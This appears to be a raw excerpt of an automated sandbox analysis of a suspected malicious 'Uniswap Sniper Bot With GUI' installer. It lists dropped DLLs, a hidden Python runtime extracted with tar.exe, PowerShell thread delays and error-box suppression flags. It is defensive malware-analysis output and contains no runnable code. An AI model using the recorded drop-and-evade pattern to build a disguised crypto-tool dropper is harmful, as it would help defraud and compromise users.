Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\unicodedata.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\Lib\site-packages\charset_normalizer\md.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	File created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\_ssl.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	File created: C:\Users\user\.pyp\DLLs\libffi-8.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\.pyp\python.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 893
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 831
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3033
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1004

Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\select.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_socket.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\nsis7z.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libEGL.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_overlapped.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\winsound.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\libEGL.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vulkan-1.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\StdUtils.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\nsExec.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-ia32\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_multiprocessing.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_asyncio.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\bufferutil\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\secp256k1\prebuilds\win32-x64\secp256k1.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_elementtree.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\elevate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\vk_swiftshader.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\SpiderBanner.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_decimal.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\sqlite3.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_zoneinfo.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\utf-8-validate\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\libGLESv2.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\Lib\site-packages\charset_normalizer\md__mypyc.cp311-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\vulkan-1.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_msi.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\System.dll	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_lzma.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_hashlib.pyd	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_queue.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\Uniswap Sniper Bot With GUI.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsu535F.tmp\7z-out\resources\app.asar.unpacked\node_modules\keccak\prebuilds\win32-x64\node.napi.node	Jump to dropped file
Source: C:\Windows\System32\tar.exe	Dropped PE file which has not been started: C:\Users\user\.pyp\DLLs\_sqlite3.pyd	Jump to dropped file
